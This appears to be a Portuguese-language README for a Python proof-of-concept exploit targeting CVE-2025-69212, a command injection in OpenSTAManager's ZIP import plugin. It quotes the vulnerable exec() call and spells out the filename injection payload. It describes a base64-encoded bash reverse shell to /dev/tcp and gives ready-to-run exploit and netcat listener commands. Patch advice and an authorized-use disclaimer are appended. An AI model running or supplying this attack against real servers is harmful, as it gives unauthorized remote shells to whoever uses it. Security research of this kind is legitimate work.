
Python poc, exploit for CVE-2025-69212
Exploit de prova de conceito para CVE-2025-69212, uma vulnerabilidade de Injeção de Comandos do SO no OpenSTAManager <= 2.9.8 que permite a um atacante autenticado executar código remotamente via um upload de arquivo ZIP maliciosamente criado.
A vulnerabilidade existe em src/Util/XML.php na linha ~100, onde a aplicação passa um nome de arquivo controlado pelo usuário diretamente para uma chamada exec() do shell sem sanitização:
exec('openssl smime -verify -noverify -in "' . $file . '" -inform DER -out "' . $output_file . '"');
Quando um arquivo ZIP é enviado via o plugin importFE_ZIP (/actions.php), a aplicação extrai o ZIP e passa o nome de cada entrada .p7m para exec(). Um atacante pode criar um ZIP com um nome de arquivo malicioso que escapa do argumento entre aspas duplas e injeta comandos arbitrários no shell.
Payload de injeção (nome do arquivo):
invoice.p7m";<COMMAND>;echo ".p7m
Execução resultante do shell:
openssl smime ... -in "invoice.p7m";<COMMAND>;echo ".p7m" ...
# ^^^^^^^^^^^^ injetado aqui
Nota: A barra
/não pode aparecer diretamente no nome do arquivo porqueZipArchive::extractTo()a trata como um separador de caminho. O PoC evita isso codificando o payload do reverse shell em base64.
requestsnc)Instalar dependências:
pip install requests
python3 CVE-2025-69212.py -u <TARGET_URL> -U <USERNAME> -P <PASSWORD> --lhost <YOUR_IP> --lport <YOUR_PORT>
# Start listener
nc -lvnp 4444
# Run exploit
python3 CVE-2025-69212.py -u http://target.htb -U admin -P 'password' --lhost 10.10.14.5 --lport 4444
# Route through Burp Suite
python3 CVE-2025-69212.py -u http://target.htb -U admin -P 'password' --lhost 10.10.14.5 --lport 4444 --proxy http://127.0.0.1:8080
.p7m cujo nome inclui o comando injetadobash -i >& /dev/tcp/LHOST/LPORT 0>&1) é codificado em base64 para evitar barras no nome do arquivo/actions.php via o plugin importFE_ZIPexec(), disparando o reverse shellAtualize para OpenSTAManager 2.9.9 ou superior, que sanitiza os nomes de arquivo antes de passá-los para comandos de shell.
Se não for possível aplicar o patch imediatamente, desabilite o plugin importFE_ZIP ou restrinja o acesso a /actions.php apenas a usuários confiáveis.
Esta ferramenta é destinada apenas para testes de segurança autorizados e fins educacionais. Use apenas em sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar. O uso não autorizado contra sistemas que você não possui é ilegal e antiético. O autor não se responsabiliza por qualquer uso indevido ou dano causado por esta ferramenta.
| Argumento | Obrigatório | Descrição |
|---|
-u, --url | Sim | URL base do alvo (ex.: http://target.htb) |
-U, --username | Sim | Nome de usuário do OpenSTAManager |
-P, --password | Sim | Senha do OpenSTAManager |
--lhost | Sim | Seu endereço IP para o reverse shell |
--lport | Sim | Sua porta de escuta para o reverse shell |
--proxy | Não | Proxy HTTP (ex.: http://127.0.0.1:8080) |